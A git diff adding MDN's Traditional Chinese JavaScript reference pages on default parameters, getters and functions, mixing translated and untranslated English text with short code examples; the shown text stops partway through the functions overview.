+++ b/files/zh-tw/web/javascript/reference/functions/default_parameters/index.html
@@ -0,0 +1,292 @@
+---
+title: 預設參數( Default parameters )
+slug: Web/JavaScript/Reference/Functions/Default_parameters
+translation_of: Web/JavaScript/Reference/Functions/Default_parameters
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong>函式預設參數 </strong>允許沒有值傳入或是傳入值為 <code>undefined 的情況下，參數能以指定的預設值初始化。</code></p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate">function [<em>name</em>]([<em>param1</em>[ = defaultValue1 ][, ..., <em>paramN</em>[ = defaultValueN ]]]) {
+   <em>要執行的程序</em>
+}
+</pre>
+
+<h2 id="說明">說明</h2>
+
+<p>在 JavaScript 中，函式的參數預設值都為 <code>{{jsxref("undefined")}} 。然而，指定不同的預設值可能在一些場景很有用。這也是函式參數預設值可以幫上忙的地方。</code></p>
+
+<p>以往設定預設值有個普遍方法：在函式的內容裡檢查傳入參數是否為 <code>undefined ，如果是的話，爲他指定一個值。如下列範例，若函式被呼叫時，並沒有提供 b 的值，它的值就會是 undefined，在計算 a*b 時，以及呼叫 multiply 時，就會回傳 NaN。然而這在範例的第二行被阻止了：</code>:</p>
+
+<pre class="brush: js notranslate">function multiply(a, b) {
+  b = (typeof b !== 'undefined') ?  b : 1;
+  return a * b;
+}
+
+multiply(5, 2); // 10
+multiply(5, 1); // 5
+multiply(5);    // 5
+</pre>
+
+<p>有了 ES2015 的預設參數，再也不用於函式進行檢查了，現在只要簡單的在函式的起始處為 b 指定 1 的值：</p>
+
+<pre class="brush: js notranslate">function multiply(a, b = 1) {
+  return a * b;
+}
+
+multiply(5, 2); // 10
+multiply(5, 1); // 5
+multiply(5);    // 5
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="傳入_undefined">傳入 <code>undefined</code></h3>
+
+<p>這邊第二段函式呼叫中，僅管第二個傳入參數在呼叫時明確地指定為undefined（雖不是null），其顏色參數的值是預設值（rosybrown）。</p>
+
+<pre class="brush: js notranslate">function setBackgroundColor(element, color = 'rosybrown') {
+  element.style.backgroundColor = color;
+}
+
+setBackgroundColor(someDiv);            // color set to 'rosybrown'
+setBackgroundColor(someDiv, undefined); // color set to 'rosybrown' too
+setBackgroundColor(someDiv, 'blue');    // color set to 'blue'
+</pre>
+
+<h3 id="呼叫時賦予值">呼叫時賦予值</h3>
+
+<p>跟Python等語言不同的地方是，先前預設的代數值會拿來進行函式內的程序，也因此在函式呼叫的時候，會建立新物件。</p>
+
+<pre class="brush: js notranslate">function append(value, array = []) {
+  array.push(value);
+  return array;
+}
+
+append(1); //[1]
+append(2); //[2], 而非 [1, 2]
+</pre>
+
+<p>諸如此類的做法，也適用在函式和變量。</p>
+
+<pre class="brush: js notranslate">function callSomething(thing = something()) {
+ return thing;
+}
+
+function something() {
+  return 'sth';
+}
+
+callSomething();  //sth</pre>
+
+<h3 id="預設的參數中，先設定的可提供之後設定的使用">預設的參數中，先設定的可提供之後設定的使用</h3>
+
+<p>先前有碰到的參數，後來的即可使用。</p>
+
+<pre class="brush: js notranslate">function singularAutoPlural(singular, plural = singular + '們',
+                            rallyingCry = plural + '，進攻啊!!!') {
+  return [singular, plural, rallyingCry];
+}
+
+//["壁虎","壁虎們", "壁虎，進攻啊!!!"]
+singularAutoPlural('壁虎');
+
+//["狐狸","火紅的狐狸們", "火紅的狐狸們，進攻啊!!!"]
+singularAutoPlural('狐狸', '火紅的狐狸們');
+
+//["鹿兒", "鹿兒們", "鹿兒們 ... 有所好轉"]
+singularAutoPlural('鹿兒', '鹿兒們', '鹿兒們平心靜氣的 \
+   向政府請願，希望事情有所好轉。');
+</pre>
+
+<p>This functionality is approximated in a straight forward fashion and demonstrates how many edge cases are handled.</p>
+
+<pre class="brush: js notranslate">function go() {
+  return ':P';
+}
+
+function withDefaults(a, b = 5, c = b, d = go(), e = this,
+                      f = arguments, g = this.value) {
+  return [a, b, c, d, e, f, g];
+}
+
+function withoutDefaults(a, b, c, d, e, f, g) {
+  switch (arguments.length) {
+    case 0:
+      a;
+    case 1:
+      b = 5;
+    case 2:
+      c = b;
+    case 3:
+      d = go();
+    case 4:
+      e = this;
+    case 5:
+      f = arguments;
+    case 6:
+      g = this.value;
+    default:
+  }
+  return [a, b, c, d, e, f, g];
+}
+
+withDefaults.call({value: '=^_^='});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+
+
+withoutDefaults.call({value: '=^_^='});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+</pre>
+
+<h3 id="函式內再定義函式">函式內再定義函式</h3>
+
+<p>Introduced in Gecko 33 {{geckoRelease(33)}}. Functions declared in the function body cannot be referred inside default parameters and throw a {{jsxref("ReferenceError")}} (currently a {{jsxref("TypeError")}} in SpiderMonkey, see {{bug(1022967)}}). Default parameters are always executed first, function declarations inside the function body evaluate afterwards.</p>
+
+<pre class="brush: js notranslate">// 行不通的！ 最後會丟出 ReferenceError。
+function f(a = go()) {
+  function go() { return ':P'; }
+}
+</pre>
+
+<h3 id="Parameters_without_defaults_after_default_parameters">Parameters without defaults after default parameters</h3>
+
+<p>Prior to Gecko 26 {{geckoRelease(26)}}, the following code resulted in a {{jsxref("SyntaxError")}}. This has been fixed in {{bug(777060)}} and works as expected in later versions. Parameters are still set left-to-right, overwriting default parameters even if there are later parameters without defaults.</p>
+
+<pre class="brush: js notranslate">function f(x = 1, y) {
+  return [x, y];
+}
+
+f(); // [1, undefined]
+f(2); // [2, undefined]
+</pre>
+
+<h3 id="Destructured_parameter_with_default_value_assignment">Destructured parameter with default value assignment</h3>
+
+<p>You can use default value assignment with the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructuring assignment</a> notation:</p>
+
+<pre class="brush: js notranslate">function f([x, y] = [1, 2], {z: z} = {z: 3}) {
+  return x + y + z;
+}
+
+f(); // 6</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-function-definitions', 'Function Definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器的兼容性">瀏覽器的兼容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能特徵</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>Edge</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari(10)}}</td>
+  </tr>
+  <tr>
+   <td>Parameters without defaults after default parameters</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatSafari(10)}}</td>
+  </tr>
+  <tr>
+   <td>Destructured parameter with default value assignment</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoDesktop("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能特徵</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(49)}}</td>
+  </tr>
+  <tr>
+   <td>Parameters without defaults after default parameters</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(49)}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(49)}}</td>
+  </tr>
+  <tr>
+   <td>Destructured parameter with default value assignment</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("41.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="要不要也看看">要不要也看看</h2>
+
+<ul>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values" rel="external" title="http://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values">Original proposal at ecmascript.org</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/functions/get/index.html b/files/zh-tw/web/javascript/reference/functions/get/index.html
new file mode 100644
index 0000000000..c01f8164ca
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/functions/get/index.html
@@ -0,0 +1,170 @@
+---
+title: getter
+slug: Web/JavaScript/Reference/Functions/get
+translation_of: Web/JavaScript/Reference/Functions/get
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p><strong><code>get</code></strong> 語法會將物件屬性，綁定到屬性被檢索時，所呼叫的函式。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-getter.html")}}</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">{get <em>prop</em>() { ... } }
+{get <em>[expression]</em>() { ... } }</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>要綁定到給定函式的名稱。</dd>
+ <dt>expression</dt>
+ <dd>自 ECMAScript 2015 開始，可以用計算屬性名稱（computed property name），綁定到給定函式。</dd>
+</dl>
+
+<h2 id="敘述">敘述</h2>
+
+<p>有時候，物件的屬性可能需要回傳動態數值、或要在不使用明確的方法呼叫下，反映出內部變數的狀態。在 JavaScript 可以用 <em>getter</em> 達到這個目的。儘管可以用 getter 與 setter 的關聯建立虛擬屬性的類型，但 getter 無法被綁定到同時擁有實際數值的屬性。</p>
+
+<p>使用 <code>get</code> 語法時，請注意以下情況：</p>
+
+<div>
+<ul>
+ <li>可以擁有一個以數字或字串為代表的標示符；</li>
+ <li>最少要有零個參數（請參見 <a class="external" href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Incompatible <abbr title="ECMAScript 5th edition">ES5</abbr> change: literal getter and setter functions must now have exactly zero or one arguments</a> 的詳細資料）</li>
+ <li>不能以有另一個 <code>get</code> 的 object literal、或相同屬性入口（data entry）的 data 形式出現（不能使用 <code>{ get x() { }, get x() { } }</code> and <code>{ x: ..., get x() { } }</code>）。</li>
+</ul>
+</div>
+
+<p>getter 可以用 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> 操作符移除。</p>
+
+<h2 id="示例">示例</h2>
+
+<h3 id="在物件初始器（object_initializers）內定義新物件的_getter">在物件初始器（object initializers）內定義新物件的 getter</h3>
+
+<p>這程式碼將給 <code>obj</code> 物件建立虛擬屬性 <code>latest</code>，它會回傳 <code>log</code> 陣列的最後一個單元。</p>
+
+<pre class="brush: js">var obj = {
+  log: ['example','test'],
+  get latest() {
+    if (this.log.length == 0) return undefined;
+    return this.log[this.log.length - 1];
+  }
+}
+console.log(obj.latest); // "test".
+</pre>
+
+<p>請注意 <code>latest</code> 不會因為數值被指派而改變。</p>
+
+<h3 id="使用_delete_操作符移除_getter">使用 <code>delete</code> 操作符移除 getter</h3>
+
+<p>如果想移除 getter，可以使用 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/delete">delete</a></code> 完成之：</p>
+
+<pre class="brush: js">delete obj.latest;
+</pre>
+
+<h3 id="使用_defineProperty_給現有物件定義_getter">使用 <code>defineProperty</code> 給現有物件定義 getter</h3>
+
+<p>若想在任何時候給現有物件添增 getter，請使用 {{jsxref("Object.defineProperty()")}}。</p>
+
+<pre class="brush: js">var o = {a: 0};
+
+Object.defineProperty(o, 'b', { get: function() { return this.a + 1; } });
+
+console.log(o.b) // Runs the getter, which yields a + 1 (which is 1)</pre>
+
+<h3 id="使用計算屬性名">使用計算屬性名</h3>
+
+<pre class="brush: js">var expr = 'foo';
+
+var obj = {
+  get [expr]() { return 'bar'; }
+};
+
+console.log(obj.foo); // "bar"</pre>
+
+<h3 id="Smart_self-overwriting_lazy_getters">Smart / self-overwriting / lazy getters</h3>
+
+<p>Getter 提供了定義物件屬性的方法，但它本身並不會去自動計算，直到想訪問它。除非需要用 getter，否則數值計算會被延緩；如果不需要用到 getter，那就永遠無須支付計算的開銷。</p>
+
+<p>針對屬性值 lazy 或 delay、並暫存以留作未來訪問的最佳化技巧稱作 <strong>smart 或 <a href="https://en.wikipedia.org/wiki/Memoization">memoized</a> getter</strong>：初次計算時會呼叫 getter、接著被暫存以便在不重算的情況下做後續訪問。這種技巧在以下情況會派上用場：</p>
+
+<ul>
+ <li>如果數值開銷很昂貴（例如需要大量 RAM 或 CPU 時間、產生 worker 執行緒、檢索遠端文件等）</li>
+ <li>如果現在並不需要數值：可能是現在用不到、或在某些情況下完全用不到。</li>
+ <li>如果使用的話，該數值會被訪問數次、且該數值永遠不會更改、或不應該更改。</li>
+</ul>
+
+<p>也就是說，出於 getter 不會重新計算的理由，不要針對數值預期會改變的屬性，使用 lazy getter。</p>
+
+<p>下例的物件擁有作為自己的屬性的 getter。在取得該屬性後，它會從物件被移除、並以隱式數值屬性重新增加、最後回傳之。</p>
+
+<pre class="brush: js">get notifier() {
+  delete this.notifier;
+  return this.notifier = document.getElementById('bookmarked-notification-anchor');
+},</pre>
+
+<p>針對 Firefox 程式碼，另請參見定義 <code><a href="/zh-TW/docs/Mozilla/JavaScript_code_modules/XPCOMUtils.jsm#defineLazyGetter()">defineLazyGetter()</a></code> 函式的 XPCOMUtils.jsm 程式模塊。</p>
+
+<h3 id="get_與_defineProperty"><code>get</code> 與 <code>defineProperty</code></h3>
+
+<p>在使用 {{jsxref("classes")}} 時，儘管 <code>get</code> 關鍵字與 {{jsxref("Object.defineProperty()")}} 會出現相同結果，但其中有微妙的差異。</p>
+
+<p>在使用 <code>get</code> 時，屬性會在物件的原型被定義；而在使用 {{jsxref("Object.defineProperty()")}} 時，屬性會在被套用的實例內定義。</p>
+
+<pre class="brush: js">class Example {
+  get hello() {
+    return 'world';
+  }
+}
+
+const obj = new Example();
+console.log(obj.hello);
+// "world"
+console.log(Object.getOwnPropertyDescriptor(obj, 'hello'));
+// undefined
+console.log(Object.getOwnPropertyDescriptor(Object.getPrototypeOf(obj), 'hello'));
+// { configurable: true, enumerable: false, get: function get hello() { return 'world'; }, set: undefined }</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>初始定義。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>增加計算屬性名。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{Compat("javascript.functions.get")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions/set">setter</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li>JavaScript 教學的<a href="/zh-TW/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">定義 Getter 與 Setter</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/functions/index.html b/files/zh-tw/web/javascript/reference/functions/index.html
new file mode 100644
index 0000000000..718cc30c3e
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/functions/index.html
@@ -0,0 +1,617 @@
+---
+title: Functions
+slug: Web/JavaScript/Reference/Functions
+tags:
+  - Function
+  - Functions
+  - JavaScript
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>Generally speaking, a function is a "subprogram" that can be <em>called</em> by code external (or internal in the case of recursion) to the function. Like the program itself, a function is composed of a sequence of statements called the <em>function body</em>. Values can be <em>passed</em> to a function, and the function can <em>return</em> a value.</p>
+
+<p>In JavaScript, functions are first-class objects, i.e. they are objects and can be manipulated and passed around just like any other object. Specifically, they are <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function">Function</a></code> objects.</p>
+
+<p>For more examples and explanations, see also the <a href="/en-US/docs/Web/JavaScript/Guide/Functions">JavaScript guide about functions</a>.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Every function in JavaScript is a <code>Function</code> object. See {{jsxref("Function")}} for information on properties and methods of <code>Function</code> objects.</p>
+
+<p>Functions are not the same as procedures. A function always returns a value, but a procedure may or may not return any value.</p>
+
+<p>To return a specific value other than the default, a function must have a <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> statement that specifies the value to return. A function without a return statement will return a default value. In the case of a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a> called with the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> keyword, the default value is the value of its <code>this</code> parameter. For all other functions, the default return value is <code>undefined</code>.</p>
+
+<p>The parameters of a function call are the function's <em>arguments</em>. Arguments are passed to functions <em>by value</em>. If the function changes the value of an argument, this change is not reflected globally or in the calling function. However, object references are values, too, and they are special: if the function changes the referred object's properties, that change is visible outside the function, as shown in the following example:</p>
+
+<pre class="brush: js">/* Declare the function 'myFunc' */
+function myFunc(theObject) {
+   theObject.brand = "Toyota";
+ }
+
+ /*
+  * Declare variable 'mycar';
+  * create and initialize a new Object;
+  * assign reference to it to 'mycar'
+  */
+ var mycar = {
+   brand: "Honda",
+   model: "Accord",
+   year: 1998
+ };
+
+ /* Logs 'Honda' */
+ console.log(mycar.brand);
+
+ /* Pass object reference to the function */
+ myFunc(mycar);
+
+ /*
+  * Logs 'Toyota' as the value of the 'brand' property
+  * of the object, as changed to by the function.
+  */
+ console.log(mycar.brand);
+</pre>
+
+<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code> keyword</a> does not refer to the currently executing function, so you must refer to <code>Function</code> objects by name, even within the function body.</p>
+
+<h2 id="定義函式_Defining_functions">定義函式 Defining functions</h2>
+
+<p>以下幾個方法去定義函式 (function)</p>
+
+<h3 id="The_function_declaration_(function_statement)">The function declaration (<code>function</code> statement)</h3>
+
+<p>There is a special syntax for declaring functions (see <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> for details):</p>
+
+<pre class="syntaxbox">function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>The function name.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>The statements comprising the body of the function.</dd>
+</dl>
+
+<h3 id="The_function_expression_(function_expression)">The function expression (<code>function</code> expression)</h3>
+
+<p>A function expression is similar to and has the same syntax as a function declaration (see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> for details):</p>
+
+<pre class="syntaxbox">function [<em>name</em>]([<em>param</em>] [, <em>param</em>] [..., <em>param</em>]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>The function name. Can be omitted, in which case the function becomes known as an anonymous function.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd>
+ <dt><code>statements</code></dt>
+ <dd>The statements which comprise the body of the function.</dd>
+</dl>
+
+<h3 id="The_generator_function_declaration_(function*_statement)">The generator function declaration (<code>function*</code> statement)</h3>
+
+<div class="note">
+<p><strong>Note:</strong> Generator function are an <em>experimental technology,</em> part of the ECMAScript 6 proposal, and are not widely supported by browsers yet.</p>
+</div>
+
+<p>There is a special syntax for declaration generator functions (see {{jsxref('Statements/function*', 'function* statement')}} for details):</p>
+
+<pre class="syntaxbox">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>The function name.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>The statements comprising the body of the function.</dd>
+</dl>
+
+<h3 id="The_generator_function_expression_(function*_expression)">The generator function expression (<code>function*</code> expression)</h3>
+
+<div class="note">
+<p><strong>Note:</strong> Generator function are an <em>experimental technology,</em> part of the ECMAScript 6 proposal, and are not widely supported by browsers yet.</p>
+</div>
+
+<p>A generator function expression is similar to and has the same syntax as a generator function declaration (see {{jsxref('Operators/function*', 'function* expression')}} for details):</p>
+
+<pre class="syntaxbox">function* [<em>name</em>]([<em>param</em>] [, <em>param</em>] [..., <em>param</em>]) {
+   <em>statements</em>
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>The function name. Can be omitted, in which case the function becomes known as an anonymous function.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd>
+ <dt><code>statements</code></dt>
+ <dd>The statements which comprise the body of the function.</dd>
+</dl>
+
+<h3 id="箭頭函式_The_arrow_function_expression_(>)">箭頭函式 The arrow function expression (=&gt;)</h3>
+
+<div class="note">
+<p><strong>Note:</strong> Arrow function expressions are an <em>experimental technology,</em> part of the ECMAScript 6 proposal, and are not widely supported by browsers yet.</p>
+</div>
+
+<p>An arrow function expression has a shorter syntax and lexically binds its this value (see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a> for details):</p>
+
+<pre class="syntaxbox">([param] [, param]) =&gt; {
+   statements
+}
+
+param =&gt; expression
+</pre>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>The name of an argument. Zero arguments need to be indicated with <code>()</code>.  For only one argument the parentheses are not required. (like <code>foo =&gt; 1</code>)</dd>
+ <dt><code>statements or expression</code></dt>
+ <dd>Multiple statements need to be enclosed in brackets. A single expression requires no brackets. The expression is also the implicit return value of that function.</dd>
+</dl>
+
+<h3 id="The_Function_constructor">The <code>Function</code> constructor</h3>
+
+<div class="note">
+<p><strong>Note:</strong> Using the <code>Function</code> constructor to create functions is not recommended since it needs the function body as a string which may prevent some JS engine optimizations and can also cause other problems.</p>
+</div>
+
+<p>As all other objects, {{jsxref("Function")}} objects can be created using the <code>new</code> operator:</p>
+
+<pre class="syntaxbox">new Function (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
+</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Zero or more names to be used by the function as formal argument names. Each must be a string that conforms to the rules for a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd>
+</dl>
+
+<dl>
+ <dt><code>functionBody</code></dt>
+ <dd>A string containing the JavaScript statements comprising the function definition.</dd>
+</dl>
+
+<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p>
+
+<h3 id="The_GeneratorFunction_constructor">The <code>GeneratorFunction</code> constructor</h3>
+
+<div class="note">
+<p><strong>Note:</strong> Arrow function expressions are an <em>experimental technology,</em> part of the ECMAScript 6 proposal, and are not widely supported by browsers yet.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> <code>GeneratorFunction</code> is not a global object, but could be obtained from generator function instance (see {{jsxref("GeneratorFunction")}} for more detail).</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> Using the <code>GeneratorFunction</code> constructor to create functions is not recommended since it needs the function body as a string which may prevent some JS engine optimizations and can also cause other problems.</p>
+</div>
+
+<p>As all other objects, {{jsxref("GeneratorFunction")}} objects can be created using the <code>new</code> operator:</p>
+
+<pre class="syntaxbox">new GeneratorFunction (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>)
+</pre>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Zero or more names to be used by the function as formal argument names. Each must be a string that conforms to the rules for a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd>
+</dl>
+
+<dl>
+ <dt><code>functionBody</code></dt>
+ <dd>A string containing the JavaScript statements comprising the function definition.</dd>
+</dl>
+
+<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p>
+
+<h2 id="Function_parameters">Function parameters</h2>
+
+<div class="note">
+<p><strong>Note:</strong> Default and rest parameters are <em>experimental technology,</em> part of the ECMAScript 6 proposal, and are not widely supported by browsers yet.</p>
+</div>
+
+<h3 id="Default_parameters">Default parameters</h3>
+
+<p>Default function parameters allow formal parameters to be initialized with default values if no value or <code>undefined</code> is passed. For more details, see<a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters"> default parameters</a>.</p>
+
+<h3 id="Rest_parameters">Rest parameters</h3>
+
+<p>The rest parameter syntax allows to represent an indefinite number of arguments as an array. For more details, see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parameters</a>.</p>
+
+<h2 id="The_arguments_object">The <code>arguments</code> object</h2>
+
+<p>You can refer to a function's arguments within the function by using the <code>arguments</code> object. See <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>.</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a></code>: An array-like object containing the arguments passed to the currently executing function.</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/callee">arguments.callee</a></code> {{Deprecated_inline}}: The currently executing function.</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/caller">arguments.caller</a></code> {{Obsolete_inline}} : The function that invoked the currently executing function.</li>
+ <li><code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code>: The number of arguments passed to the function.</li>
+</ul>
+
+<h2 id="Defining_method_functions">Defining method functions</h2>
+
+<h3 id="Getter_and_setter_functions">Getter and setter functions</h3>
+
+<p>You can define getters (accessor methods) and setters (mutator methods) on any standard built-in object or user-defined object that supports the addition of new properties. The syntax for defining getters and setters uses the object literal syntax.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></dt>
+ <dd>
+ <p>Binds an object property to a function that will be called when that property is looked up.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a></dt>
+ <dd>Binds an object property to a function to be called when there is an attempt to set that property.</dd>
+</dl>
+
+<h3 id="Method_definition_syntax">Method definition syntax</h3>
+
+<div class="note">
+<p><strong>Note:</strong> <em>Method definitions are experimental technology,</em> part of the ECMAScript 6 proposal, and are not widely supported by browsers yet.</p>
+</div>
+
+<p>Starting with ECMAScript 6, you are able to define own methods in a shorter syntax, similar to the getters and setters. See <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">method definitions</a> for more information.</p>
+
+<pre class="brush: js">var obj = {
+  foo() {},
+  bar() {}
+};</pre>
+
+<h2 id="Function_constructor_vs._function_declaration_vs._function_expression"><code>Function</code> constructor vs. function declaration vs. function expression</h2>
+
+<p>Compare the following:</p>
+
+<p>A function defined with the <code>Function</code> constructor assigned to the variable <code>multiply</code></p>
+
+<pre class="brush: js">function multiply(x, y) {
+   return x * y;
+}
+</pre>
+
+<p>A <em>function expression</em> of an anonymous function assigned to the variable <code>multiply</code></p>
+
+<pre class="brush: js">var multiply = function(x, y) {
+   return x * y;
+};
+</pre>
+
